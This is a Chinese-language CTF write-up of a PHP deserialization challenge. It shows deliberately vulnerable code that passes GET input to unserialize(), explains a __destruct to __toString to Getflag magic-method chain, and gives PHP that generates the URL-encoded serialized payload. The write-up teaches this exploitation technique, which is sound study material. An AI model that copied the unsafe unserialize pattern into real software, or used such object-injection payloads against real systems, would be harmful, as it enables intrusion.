题目
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
思路
1. 题目分析
题目给出了一段PHP代码,主要包含三个类:w44m
、w22m
和 w33m
。代码的核心逻辑是通过反序列化用户输入的w00m
参数,触发魔术方法链,最终调用w44m
类的Getflag
方法,输出flag。
代码关键点:
-
w44m
类:
-
包含私有属性
admin
和受保护属性passwd
。 -
Getflag
方法会检查admin
和passwd
的值,如果满足条件(admin === 'w44m'
且passwd === '08067'
),则输出flag;否则输出nono
。
-
w22m
类:
-
包含一个公共属性
w00m
。 -
析构函数
__destruct
会在对象销毁时被调用,输出w00m
的值。
-
w33m
类:
-
包含两个公共属性
w00m
和w22m
。 -
__toString
方法会在对象被当作字符串使用时被调用,调用w00m
对象的w22m
方法。
-
反序列化入口:
-
通过
$_GET['w00m']
获取用户输入,并调用unserialize
函数进行反序列化。
2. 漏洞利用思路
这道题目的核心是利用PHP反序列化漏洞,通过构造特定的对象链,触发魔术方法链,最终调用w44m
类的Getflag
方法。具体步骤如下:
2.1 触发魔术方法链
-
触发
__destruct
:
-
反序列化时会创建对象,当脚本执行结束或对象被销毁时,
__destruct
方法会被调用。 -
我们需要让
w22m
对象的__destruct
方法被触发。
-
触发
__toString
:
-
w22m
的__destruct
方法会输出w00m
属性。 -
如果
w00m
是一个w33m
对象,那么当它被当作字符串输出时,w33m
的__toString
方法会被触发。
-
调用
Getflag
方法:
-
w33m
的__toString
方法会调用w00m
对象的w22m
方法。 -
如果
w00m
是一个w44m
对象,且w22m
属性的值为Getflag
,那么w44m
的Getflag
方法会被调用。
2.2 覆盖属性值
-
w44m
类的admin
和passwd
属性是私有和受保护的,无法直接访问。 -
在反序列化时,可以通过构造特定的序列化字符串来覆盖这些属性的值。
EXP
为了实现上述逻辑,我们需要构造一个对象链,并通过反序列化触发魔术方法链。具体步骤如下:
3.1 构造对象链
-
创建
w44m
对象:
-
设置
admin
为w44m
,passwd
为08067
。
-
创建
w33m
对象:
-
将
w00m
属性设置为w44m
对象。 -
将
w22m
属性设置为Getflag
。
-
创建
w22m
对象:
-
将
w00m
属性设置为w33m
对象。
3.2 序列化对象链
将上述对象链序列化为字符串。需要注意的是,私有和受保护属性的字段名在序列化字符串中有特殊格式:
-
私有属性:
%00类名%00属性名
-
受保护属性:
%00*%00属性名
3.3 生成Payload
class w44m {
private $admin = 'w44m';
protected $passwd = '08067';
}
class w33m {
public $w00m;
public $w22m = 'Getflag';
public function __construct() {
$this->w00m = new w44m();
}
}
class w22m {
public $w00m;
public function __construct() {
$this->w00m = new w33m();
}
}
echo urlencode(serialize(new w22m()));
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
总结
这道题目考察了PHP反序列化漏洞的利用,通过构造特定的对象链和覆盖属性值,成功触发魔术方法链并调用目标方法。关键在于理解PHP反序列化的机制以及魔术方法的触发条件